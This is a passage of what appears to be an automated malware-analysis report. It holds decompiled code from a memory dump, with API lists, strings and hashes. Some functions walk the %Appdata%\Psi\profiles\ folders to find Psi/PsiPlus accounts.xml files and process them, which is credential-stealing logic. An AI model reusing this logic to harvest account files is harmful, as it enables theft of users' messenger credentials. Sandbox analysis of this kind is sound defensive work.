				_push(_t282);
				_t1 =  &_v8;
				 *_t1 = _t282;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 =  *_t1;
				_v8 = __edx;
				E00404150( &_v8);
				E00403980(_v12);
				E00403980(_a8);
				_push(_t345);
				_push(0x40a36b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t346;
				_push(0);
				E00404804();
				_t347 = _t346 + 4;
				_v29 = 1;
				E00403E14( &_v664, L"\\*.*", _v8, 0);
				_t141 = FindFirstFileW(E00403D98(_v664),  &_v660); // executed
				_v28 = _t141;
				do {
					_push(_v8);
					E00403D6C( &_v672, 0x104,  &(_v660.cFileName));
					_push(_v672);
					_push(E0040A390);
					_t144 =  *0x41b438; // 0x41c7f0
					_push( *_t144);
					E00403E78();
					_t150 = GetFileAttributesW(E00403D98(_v668)); // executed
					if(_t150 == 0xffffffff) {
						goto L20;
					} else {
						_push(_v8);
						E00403D6C( &_v680, 0x104,  &(_v660.cFileName));
						_push(_v680);
						_push(E0040A390);
						_t188 =  *0x41b438; // 0x41c7f0
						_push( *_t188);
						E00403E78();
						E00409C28(_v676, _t278,  &_v36, _t337, _t342);
						if(_v29 != 0) {
							_t278 = E00404648(_v36) - 1;
							if(_t278 < 0) {
								goto L20;
							} else {
								_t280 = _t278 + 1;
								_t343 = 0;
								while(1) {
									E0040377C( &_v684, _v8);
									_push( &_v684);
									E00403760( &_v688, 0x104,  &(_v660.cFileName));
									_pop(_t199);
									E00403798(_t199, _v688);
									_push(E00403990(_v684));
									_t203 =  *0x41b314; // 0x41ca3c
									if( *((intOrPtr*)( *_t203))() != 0) {
										goto L21;
									}
									_t206 =  *0x41b2b8; // 0x41ca40
									_v16 =  *((intOrPtr*)( *_t206))();
									if(_v16 != 0) {
										_t210 =  *0x41b404; // 0x41ca44
										_t212 =  *((intOrPtr*)( *_t210))(_v16, 1, 0);
										_t347 = _t347 + 0xc;
										if(_t212 == 0) {
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 4 + (_t343 + _t343 * 2) * 4)), _t280,  &_v44, _t337, _t343);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v20);
											_t229 =  *0x41b3b4; // 0x41ca48
											_t231 =  *((intOrPtr*)( *_t229))( &_v56,  &_v68, 0);
											_t348 = _t347 + 0xc;
											if(_t231 == 0) {
												_t337 = _v60 - 1;
												if(_t337 >= 0) {
													_t341 = _t337 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v20, _v692);
														_v40 = _v40 + 1;
														_t341 = _t341 - 1;
													} while (_t341 != 0);
												}
											}
											E004034E4( &_v44);
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 8 + (_t343 + _t343 * 2) * 4)), _t280,  &_v44, _t337, _t343);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v24);
											_t250 =  *0x41b3b4; // 0x41ca48
											_t252 =  *((intOrPtr*)( *_t250))( &_v56,  &_v68, 0);
											_t347 = _t348 + 0xc;
											if(_t252 == 0) {
												_t337 = _v60 - 1;
												if(_t337 >= 0) {
													_t339 = _t337 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v24, _v696);
														_v40 = _v40 + 1;
														_t339 = _t339 - 1;
													} while (_t339 != 0);
												}
											}
											E004034E4( &_v44);
											E00403760( &_v700, 0x104,  &(_v660.cFileName));
											E0040525C(_a8, _t280,  *((intOrPtr*)(_v36 + (_t343 + _t343 * 2) * 4)), _v12, _t337, _t343, _v700, _v24, _v20);
											_t264 =  *0x41b488; // 0x41ca50
											 *((intOrPtr*)( *_t264))(_v16);
											_t267 =  *0x41b2ec; // 0x41ca4c
											 *((intOrPtr*)( *_t267))();
											_t343 = _t343 + 1;
											_t280 = _t280 - 1;
											if(_t280 != 0) {
												continue;
											} else {
												goto L20;
											}
										}
									}
									goto L21;
								}
							}
						}
					}
					break;
					L20:
					_push( &_v660);
					_push(_v28);
					_t153 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t153))() != 0);
				L21:
				if( &_v16 != 0 && _v16 != 0) {
					 *[fs:eax] = _t347;
					_t182 =  *0x41b488; // 0x41ca50
					 *((intOrPtr*)( *_t182))(_v16,  *[fs:eax], 0x40a2c3, _t345);
					_pop(_t313);
					 *[fs:eax] = _t313;
				}
				_t157 =  *0x41b2ec; // 0x41ca4c
				if( *_t157 != 0) {
					 *[fs:eax] = _t347;
					_t176 =  *0x41b2ec; // 0x41ca4c
					 *((intOrPtr*)( *_t176))( *[fs:eax], 0x40a2f8, _t345);
					_pop(_t312);
					 *[fs:eax] = _t312;
				}
				_pop(_t307);
				 *[fs:eax] = _t307;
				_push(E0040A372);
				E00403508( &_v700, 5);
				E00403BF4( &_v680, 5);
				E004034E4( &_v44);
				_t310 =  *0x409bfc; // 0x409c00
				E00404810( &_v36, _t310);
				E00403508( &_v24, 2);
				E004034E4( &_v12);
				E00403BDC( &_v8);
				return E004034E4( &_a8);
			}

0x00409ee8
0x00409ee8
0x00409ee8
0x00409eea
0x00409ef1
0x00409ef4
0x00409ef9
0x00409ef9
0x00409efb
0x00409efd
0x00409efd
0x00409f00
0x00409f01
0x00409f01
0x00409f04
0x00409f05
0x00409f06
0x00409f07
0x00409f0a
0x00409f10
0x00409f18
0x00409f20
0x00409f27
0x00409f28
0x00409f2d
0x00409f30
0x00409f33
0x00409f43
0x00409f48
0x00409f4b
0x00409f64
0x00409f7c
0x00409f7e
0x00409f81
0x00409f81
0x00409f95
0x00409f9a
0x00409fa0
0x00409fa5
0x00409faa
0x00409fb7
0x00409fcf
0x00409fd4
0x00000000
0x00409fda
0x00409fda
0x00409fee
0x00409ff3
0x00409ff9
0x00409ffe
0x0040a003
0x0040a010
0x0040a01e
0x0040a027
0x0040a037
0x0040a03a
0x00000000
0x0040a040
0x0040a040
0x0040a041
0x0040a043
0x0040a04c
0x0040a057
0x0040a069
0x0040a074
0x0040a075
0x0040a085
0x0040a086
0x0040a092
0x00000000
0x00000000
0x0040a098
0x0040a0a1
0x0040a0a8
0x0040a0b6
0x0040a0bd
0x0040a0bf
0x0040a0c4
0x0040a0d2
0x0040a0df
0x0040a0f1
0x0040a0f8
0x0040a103
0x0040a10e
0x0040a114
0x0040a123
0x0040a12a
0x0040a12c
0x0040a131
0x0040a136
0x0040a139
0x0040a13b
0x0040a13c
0x0040a143
0x0040a152
0x0040a160
0x0040a165
0x0040a168
0x0040a168
0x0040a143
0x0040a139
0x0040a16e
0x0040a17b
0x0040a188
0x0040a19a
0x0040a1a1
0x0040a1ac
0x0040a1b7
0x0040a1bd
0x0040a1cc
0x0040a1d3
0x0040a1d5
0x0040a1da
0x0040a1df
0x0040a1e2
0x0040a1e4
0x0040a1e5
0x0040a1ec
0x0040a1fb
0x0040a209
0x0040a20e
0x0040a211
0x0040a211
0x0040a1ec
0x0040a1e2
0x0040a217
0x0040a235
0x0040a250
0x0040a259
0x0040a260
0x0040a263
0x0040a26a
0x0040a26c
0x0040a26d
0x0040a26e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a26e
0x0040a0c4
0x00000000
0x0040a0a8
0x0040a043
0x0040a03a
0x0040a027
0x00000000
0x0040a274
0x0040a27a
0x0040a27e
0x0040a27f
0x0040a288
0x0040a290
0x0040a295
0x0040a2a8
0x0040a2af
0x0040a2b6
0x0040a2bb
0x0040a2be
0x0040a2be
0x0040a2cd
0x0040a2d5
0x0040a2e2
0x0040a2e5
0x0040a2ec
0x0040a2f0
0x0040a2f3
0x0040a2f3
0x0040a304
0x0040a307
0x0040a30a
0x0040a31a
0x0040a32a
0x0040a332
0x0040a33a
0x0040a340
0x0040a34d
0x0040a355
0x0040a35d
0x0040a36a

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A212), ref: 00409F7C
GetFileAttributesW.KERNEL32(00000000,0041C7F0,0040A390,?,0041A212,?,?,?,?,?,?,0041A212), ref: 00409FCF

Strings

\*.*, xrefs: 00409F5C

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AttributesFindFirst
String ID: \*.*
API String ID: 4185537391-1173974218
Opcode ID: 2569f941f973cc7a9aa44a64cd92bf2ce675548f85e160b619311201e20ee764
Instruction ID: b97e8ac771e1de4e2703fb1056a82e5c1940c71e20b76fb13f5cc48a45ca5039
Opcode Fuzzy Hash: 2569f941f973cc7a9aa44a64cd92bf2ce675548f85e160b619311201e20ee764
Instruction Fuzzy Hash: 08D13871A002099FCB11EF95D881ADEB7F9EF49304F1041BAE504F73A1DB39AE458B99

Uniqueness

Uniqueness Score: -1.00%

Function 00409EF0, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 333
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409EF0(void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, char _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v29;
				char _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				void* _v64;
				char _v68;
				struct _WIN32_FIND_DATAW _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				char _v700;
				void* _t138;
				intOrPtr* _t141;
				long _t147;
				intOrPtr* _t150;
				intOrPtr* _t154;
				intOrPtr* _t173;
				intOrPtr* _t179;
				intOrPtr* _t185;
				void* _t196;
				intOrPtr* _t200;
				intOrPtr* _t203;
				intOrPtr* _t207;
				void* _t209;
				intOrPtr* _t226;
				void* _t228;
				intOrPtr* _t247;
				void* _t249;
				intOrPtr* _t261;
				intOrPtr* _t264;
				void* _t277;
				intOrPtr _t279;
				intOrPtr _t304;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t310;
				void* _t336;
				void* _t338;
				signed int _t340;
				intOrPtr _t342;
				intOrPtr _t343;
				intOrPtr _t344;
				void* _t345;

				_t339 = __esi;
				_t334 = __edi;
				_t275 = __ebx;
				_t342 = _t343;
				_t279 = 0x56;
				do {
					_push(0);
					_push(0);
					_t279 = _t279 - 1;
				} while (_t279 != 0);
				_push(_t279);
				_t1 =  &_v8;
				 *_t1 = _t279;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 =  *_t1;
				_v8 = __edx;
				E00404150( &_v8);
				E00403980(_v12);
				E00403980(_a8);
				_push(_t342);
				_push(0x40a36b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t343;
				_push(0);
				E00404804();
				_t344 = _t343 + 4;
				_v29 = 1;
				E00403E14( &_v664, L"\\*.*", _v8, 0);
				_t138 = FindFirstFileW(E00403D98(_v664),  &_v660); // executed
				_v28 = _t138;
				do {
					_push(_v8);
					E00403D6C( &_v672, 0x104,  &(_v660.cFileName));
					_push(_v672);
					_push(E0040A390);
					_t141 =  *0x41b438; // 0x41c7f0
					_push( *_t141);
					E00403E78();
					_t147 = GetFileAttributesW(E00403D98(_v668)); // executed
					if(_t147 == 0xffffffff) {
						goto L19;
					} else {
						_push(_v8);
						E00403D6C( &_v680, 0x104,  &(_v660.cFileName));
						_push(_v680);
						_push(E0040A390);
						_t185 =  *0x41b438; // 0x41c7f0
						_push( *_t185);
						E00403E78();
						E00409C28(_v676, _t275,  &_v36, _t334, _t339);
						if(_v29 != 0) {
							_t275 = E00404648(_v36) - 1;
							if(_t275 < 0) {
								goto L19;
							} else {
								_t277 = _t275 + 1;
								_t340 = 0;
								while(1) {
									E0040377C( &_v684, _v8);
									_push( &_v684);
									E00403760( &_v688, 0x104,  &(_v660.cFileName));
									_pop(_t196);
									E00403798(_t196, _v688);
									_push(E00403990(_v684));
									_t200 =  *0x41b314; // 0x41ca3c
									if( *((intOrPtr*)( *_t200))() != 0) {
										goto L20;
									}
									_t203 =  *0x41b2b8; // 0x41ca40
									_v16 =  *((intOrPtr*)( *_t203))();
									if(_v16 != 0) {
										_t207 =  *0x41b404; // 0x41ca44
										_t209 =  *((intOrPtr*)( *_t207))(_v16, 1, 0);
										_t344 = _t344 + 0xc;
										if(_t209 == 0) {
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 4 + (_t340 + _t340 * 2) * 4)), _t277,  &_v44, _t334, _t340);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v20);
											_t226 =  *0x41b3b4; // 0x41ca48
											_t228 =  *((intOrPtr*)( *_t226))( &_v56,  &_v68, 0);
											_t345 = _t344 + 0xc;
											if(_t228 == 0) {
												_t334 = _v60 - 1;
												if(_t334 >= 0) {
													_t338 = _t334 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v20, _v692);
														_v40 = _v40 + 1;
														_t338 = _t338 - 1;
													} while (_t338 != 0);
												}
											}
											E004034E4( &_v44);
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 8 + (_t340 + _t340 * 2) * 4)), _t277,  &_v44, _t334, _t340);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v24);
											_t247 =  *0x41b3b4; // 0x41ca48
											_t249 =  *((intOrPtr*)( *_t247))( &_v56,  &_v68, 0);
											_t344 = _t345 + 0xc;
											if(_t249 == 0) {
												_t334 = _v60 - 1;
												if(_t334 >= 0) {
													_t336 = _t334 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v24, _v696);
														_v40 = _v40 + 1;
														_t336 = _t336 - 1;
													} while (_t336 != 0);
												}
											}
											E004034E4( &_v44);
											E00403760( &_v700, 0x104,  &(_v660.cFileName));
											E0040525C(_a8, _t277,  *((intOrPtr*)(_v36 + (_t340 + _t340 * 2) * 4)), _v12, _t334, _t340, _v700, _v24, _v20);
											_t261 =  *0x41b488; // 0x41ca50
											 *((intOrPtr*)( *_t261))(_v16);
											_t264 =  *0x41b2ec; // 0x41ca4c
											 *((intOrPtr*)( *_t264))();
											_t340 = _t340 + 1;
											_t277 = _t277 - 1;
											if(_t277 != 0) {
												continue;
											} else {
												goto L19;
											}
										}
									}
									goto L20;
								}
							}
						}
					}
					break;
					L19:
					_push( &_v660);
					_push(_v28);
					_t150 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t150))() != 0);
				L20:
				if( &_v16 != 0 && _v16 != 0) {
					 *[fs:eax] = _t344;
					_t179 =  *0x41b488; // 0x41ca50
					 *((intOrPtr*)( *_t179))(_v16,  *[fs:eax], 0x40a2c3, _t342);
					_pop(_t310);
					 *[fs:eax] = _t310;
				}
				_t154 =  *0x41b2ec; // 0x41ca4c
				if( *_t154 != 0) {
					 *[fs:eax] = _t344;
					_t173 =  *0x41b2ec; // 0x41ca4c
					 *((intOrPtr*)( *_t173))( *[fs:eax], 0x40a2f8, _t342);
					_pop(_t309);
					 *[fs:eax] = _t309;
				}
				_pop(_t304);
				 *[fs:eax] = _t304;
				_push(E0040A372);
				E00403508( &_v700, 5);
				E00403BF4( &_v680, 5);
				E004034E4( &_v44);
				_t307 =  *0x409bfc; // 0x409c00
				E00404810( &_v36, _t307);
				E00403508( &_v24, 2);
				E004034E4( &_v12);
				E00403BDC( &_v8);
				return E004034E4( &_a8);
			}

0x00409ef0
0x00409ef0
0x00409ef0
0x00409ef1
0x00409ef4
0x00409ef9
0x00409ef9
0x00409efb
0x00409efd
0x00409efd
0x00409f00
0x00409f01
0x00409f01
0x00409f04
0x00409f05
0x00409f06
0x00409f07
0x00409f0a
0x00409f10
0x00409f18
0x00409f20
0x00409f27
0x00409f28
0x00409f2d
0x00409f30
0x00409f33
0x00409f43
0x00409f48
0x00409f4b
0x00409f64
0x00409f7c
0x00409f7e
0x00409f81
0x00409f81
0x00409f95
0x00409f9a
0x00409fa0
0x00409fa5
0x00409faa
0x00409fb7
0x00409fcf
0x00409fd4
0x00000000
0x00409fda
0x00409fda
0x00409fee
0x00409ff3
0x00409ff9
0x00409ffe
0x0040a003
0x0040a010
0x0040a01e
0x0040a027
0x0040a037
0x0040a03a
0x00000000
0x0040a040
0x0040a040
0x0040a041
0x0040a043
0x0040a04c
0x0040a057
0x0040a069
0x0040a074
0x0040a075
0x0040a085
0x0040a086
0x0040a092
0x00000000
0x00000000
0x0040a098
0x0040a0a1
0x0040a0a8
0x0040a0b6
0x0040a0bd
0x0040a0bf
0x0040a0c4
0x0040a0d2
0x0040a0df
0x0040a0f1
0x0040a0f8
0x0040a103
0x0040a10e
0x0040a114
0x0040a123
0x0040a12a
0x0040a12c
0x0040a131
0x0040a136
0x0040a139
0x0040a13b
0x0040a13c
0x0040a143
0x0040a152
0x0040a160
0x0040a165
0x0040a168
0x0040a168
0x0040a143
0x0040a139
0x0040a16e
0x0040a17b
0x0040a188
0x0040a19a
0x0040a1a1
0x0040a1ac
0x0040a1b7
0x0040a1bd
0x0040a1cc
0x0040a1d3
0x0040a1d5
0x0040a1da
0x0040a1df
0x0040a1e2
0x0040a1e4
0x0040a1e5
0x0040a1ec
0x0040a1fb
0x0040a209
0x0040a20e
0x0040a211
0x0040a211
0x0040a1ec
0x0040a1e2
0x0040a217
0x0040a235
0x0040a250
0x0040a259
0x0040a260
0x0040a263
0x0040a26a
0x0040a26c
0x0040a26d
0x0040a26e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a26e
0x0040a0c4
0x00000000
0x0040a0a8
0x0040a043
0x0040a03a
0x0040a027
0x00000000
0x0040a274
0x0040a27a
0x0040a27e
0x0040a27f
0x0040a288
0x0040a290
0x0040a295
0x0040a2a8
0x0040a2af
0x0040a2b6
0x0040a2bb
0x0040a2be
0x0040a2be
0x0040a2cd
0x0040a2d5
0x0040a2e2
0x0040a2e5
0x0040a2ec
0x0040a2f0
0x0040a2f3
0x0040a2f3
0x0040a304
0x0040a307
0x0040a30a
0x0040a31a
0x0040a32a
0x0040a332
0x0040a33a
0x0040a340
0x0040a34d
0x0040a355
0x0040a35d
0x0040a36a

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A212), ref: 00409F7C
GetFileAttributesW.KERNEL32(00000000,0041C7F0,0040A390,?,0041A212,?,?,?,?,?,?,0041A212), ref: 00409FCF

Strings

\*.*, xrefs: 00409F5C

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AttributesFindFirst
String ID: \*.*
API String ID: 4185537391-1173974218
Opcode ID: 049ac93e3a63d435fa8d12580fca5f9083b3dca68cda69a285534265ffb2b90f
Instruction ID: babcb2b1c762550d1cb17765fcc12c0327661259adbeee07ecadaaa324570f31
Opcode Fuzzy Hash: 049ac93e3a63d435fa8d12580fca5f9083b3dca68cda69a285534265ffb2b90f
Instruction Fuzzy Hash: B5D12771A002099FCB10EF95D885ADEB7F9EF49304F1041BAE504B73A1DB39AE458B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB00, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84
fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E0040DB00(signed int __ebx) {
				intOrPtr* _t67;
				intOrPtr* _t72;
				void* _t74;
				void* _t86;
				intOrPtr* _t89;
				intOrPtr* _t97;
				void* _t99;
				signed int _t152;
				intOrPtr _t174;
				intOrPtr _t179;
				intOrPtr _t180;
				void* _t191;
				intOrPtr _t193;
				void* _t198;
				intOrPtr _t200;
				void* _t201;
				void* _t202;
				void* _t203;
				intOrPtr _t204;

				_t152 = __ebx;
				E0040300C();
				while(1) {
					_t72 =  *0x41b198; // 0x41c6b8
					_t74 =  *((intOrPtr*)( *_t72))( *(_t203 - 8), _t203 - 0x25c);
					_t206 = _t74;
					if(_t74 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t203 - 0xc)));
					E00403D6C(_t203 - 0x268, 0x104, _t203 - 0x230);
					_push( *((intOrPtr*)(_t203 - 0x268)));
					_push(L"\\accounts.xml");
					E00403E78();
					_push(E00403D98( *((intOrPtr*)(_t203 - 0x264))));
					_t67 =  *0x41b358; // 0x41c698
					if( *((intOrPtr*)( *_t67))() != 0xffffffff) {
						_push(_t203);
						_push(0x40dafb);
						_push( *[fs:eax]);
						 *[fs:eax] = _t204;
						_push(_t203 - 0x26c);
						_push( *((intOrPtr*)(_t203 - 0xc)));
						E00403D6C(_t203 - 0x278, 0x104, _t203 - 0x230);
						_push( *((intOrPtr*)(_t203 - 0x278)));
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228( *((intOrPtr*)(_t203 - 0x274)), _t152, _t203 - 0x270);
						_push( *((intOrPtr*)(_t203 - 0x270)));
						E00403760(_t203 - 0x27c, 0x104, _t203 - 0x230);
						_pop(_t198);
						E0040D5D4( *((intOrPtr*)(_t203 - 0x27c)), _t152, "PsiPlus", _t198, _t201, _t202);
						E00403798( *((intOrPtr*)(_t203 - 4)),  *((intOrPtr*)(_t203 - 0x26c)));
						_pop(_t200);
						 *[fs:eax] = _t200;
					}
				}
				_pop(_t174);
				 *[fs:eax] = _t174;
				E004062FC(L"%Appdata%\\Psi\\profiles\\", _t203 - 0xc, _t206);
				_push(_t203);
				_push(0x40dcac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t204;
				E00403E14(_t203 - 0x280, L"\\*.*",  *((intOrPtr*)(_t203 - 0xc)), _t206);
				_t86 = FindFirstFileW(E00403D98( *((intOrPtr*)(_t203 - 0x280))), _t203 - 0x25c); // executed
				 *(_t203 - 8) = _t86;
				while(1) {
					_push(_t203 - 0x25c);
					_push( *(_t203 - 8));
					_t89 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t89))() == 0) {
						break;
					}
					E00403D6C(_t203 - 0x288, 0x104, _t203 - 0x230);
					E00403E78();
					_t97 =  *0x41b358; // 0x41c698
					_t99 =  *((intOrPtr*)( *_t97))(E00403D98( *((intOrPtr*)(_t203 - 0x284))), L"\\accounts.xml",  *((intOrPtr*)(_t203 - 0x288)),  *((intOrPtr*)(_t203 - 0xc)));
					__eflags = _t99 - 0xffffffff;
					if(_t99 != 0xffffffff) {
						_push(_t203);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t204;
						_push(_t203 - 0x28c);
						_push( *((intOrPtr*)(_t203 - 0xc)));
						E00403D6C(_t203 - 0x298, 0x104, _t203 - 0x230);
						_push( *((intOrPtr*)(_t203 - 0x298)));
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228( *((intOrPtr*)(_t203 - 0x294)), _t152, _t203 - 0x290);
						_push( *((intOrPtr*)(_t203 - 0x290)));
						E00403760(_t203 - 0x29c, 0x104, _t203 - 0x230);
						_pop(_t191);
						E0040D5D4( *((intOrPtr*)(_t203 - 0x29c)), _t152, 0x40de08, _t191, _t201, _t202);
						E00403798( *((intOrPtr*)(_t203 - 4)),  *((intOrPtr*)(_t203 - 0x28c)));
						_pop(_t193);
						 *[fs:eax] = _t193;
					}
				}
				_pop(_t179);
				 *[fs:eax] = _t179;
				_pop(_t180);
				 *[fs:eax] = _t180;
				_push(E0040DD4C);
				E004034E4(_t203 - 0x29c);
				E00403BF4(_t203 - 0x298, 2);
				E00403508(_t203 - 0x290, 2);
				E00403BF4(_t203 - 0x288, 3);
				E004034E4(_t203 - 0x27c);
				E00403BF4(_t203 - 0x278, 2);
				E00403508(_t203 - 0x270, 2);
				E00403BF4(_t203 - 0x268, 3);
				return E00403BDC(_t203 - 0xc);
			}

0x0040db00
0x0040db00
0x0040db05
0x0040db10
0x0040db17
0x0040db19
0x0040db1b
0x00000000
0x00000000
0x0040da06
0x0040da1a
0x0040da1f
0x0040da25
0x0040da35
0x0040da45
0x0040da46
0x0040da52
0x0040da5a
0x0040da5b
0x0040da60
0x0040da63
0x0040da6c
0x0040da6d
0x0040da81
0x0040da86
0x0040da8c
0x0040da9c
0x0040daad
0x0040dab8
0x0040daca
0x0040dada
0x0040dadb
0x0040dae9
0x0040daf3
0x0040daf6
0x0040daf6
0x0040da52
0x0040db23
0x0040db26
0x0040db3d
0x0040db44
0x0040db45
0x0040db4a
0x0040db4d
0x0040db65
0x0040db7d
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040DCAC,?,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C,00000000), ref: 0040DB7D

Strings

\*.*, xrefs: 0040DB5D
%Appdata%\Psi\profiles\, xrefs: 0040DB38

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFindFirst
String ID: %Appdata%\Psi\profiles\$\*.*
API String ID: 1974802433-2175982575
Opcode ID: 12a41a1ea500d6ab0887333500738b1f47268533b0925cadc6dad8dfd8f270d3
Instruction ID: 70d23edc6d5cb5c9c13926e01734303d113cee31a4eaa26dcbcbb418d0577738
Opcode Fuzzy Hash: 12a41a1ea500d6ab0887333500738b1f47268533b0925cadc6dad8dfd8f270d3
Instruction Fuzzy Hash: 4C312134A041189FD751EF95D855A9AB7FCEF88315F6040F7E408E3691EB38EF498A18

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB30, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0040DB30(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t49;
				intOrPtr* _t52;
				intOrPtr* _t60;
				void* _t62;
				signed int _t99;
				intOrPtr _t115;
				intOrPtr _t116;
				void* _t127;
				intOrPtr _t129;
				void* _t130;
				void* _t131;
				void* _t132;
				intOrPtr _t133;

				_t134 = __eflags;
				_t131 = __esi;
				_t130 = __edi;
				_t99 = __ebx;
				E0040300C();
				E004062FC(L"%Appdata%\\Psi\\profiles\\", _t132 - 0xc, __eflags);
				_push(_t132);
				_push(0x40dcac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t133;
				E00403E14(_t132 - 0x280, L"\\*.*",  *((intOrPtr*)(_t132 - 0xc)), _t134);
				_t49 = FindFirstFileW(E00403D98( *((intOrPtr*)(_t132 - 0x280))), _t132 - 0x25c); // executed
				 *(_t132 - 8) = _t49;
				while(1) {
					_push(_t132 - 0x25c);
					_push( *(_t132 - 8));
					_t52 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t52))() == 0) {
						break;
					}
					E00403D6C(_t132 - 0x288, 0x104, _t132 - 0x230);
					E00403E78();
					_t60 =  *0x41b358; // 0x41c698
					_t62 =  *((intOrPtr*)( *_t60))(E00403D98( *((intOrPtr*)(_t132 - 0x284))), L"\\accounts.xml",  *((intOrPtr*)(_t132 - 0x288)),  *((intOrPtr*)(_t132 - 0xc)));
					__eflags = _t62 - 0xffffffff;
					if(_t62 != 0xffffffff) {
						_push(_t132);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t133;
						_push(_t132 - 0x28c);
						_push( *((intOrPtr*)(_t132 - 0xc)));
						E00403D6C(_t132 - 0x298, 0x104, _t132 - 0x230);
						_push( *((intOrPtr*)(_t132 - 0x298)));
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228( *((intOrPtr*)(_t132 - 0x294)), _t99, _t132 - 0x290);
						_push( *((intOrPtr*)(_t132 - 0x290)));
						E00403760(_t132 - 0x29c, 0x104, _t132 - 0x230);
						_pop(_t127);
						E0040D5D4( *((intOrPtr*)(_t132 - 0x29c)), _t99, 0x40de08, _t127, _t130, _t131);
						E00403798( *((intOrPtr*)(_t132 - 4)),  *((intOrPtr*)(_t132 - 0x28c)));
						_pop(_t129);
						 *[fs:eax] = _t129;
					}
				}
				_pop(_t115);
				 *[fs:eax] = _t115;
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E0040DD4C);
				E004034E4(_t132 - 0x29c);
				E00403BF4(_t132 - 0x298, 2);
				E00403508(_t132 - 0x290, 2);
				E00403BF4(_t132 - 0x288, 3);
				E004034E4(_t132 - 0x27c);
				E00403BF4(_t132 - 0x278, 2);
				E00403508(_t132 - 0x270, 2);
				E00403BF4(_t132 - 0x268, 3);
				return E00403BDC(_t132 - 0xc);
			}

0x0040db30
0x0040db30
0x0040db30
0x0040db30
0x0040db30
0x0040db3d
0x0040db44
0x0040db45
0x0040db4a
0x0040db4d
0x0040db65
0x0040db7d
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
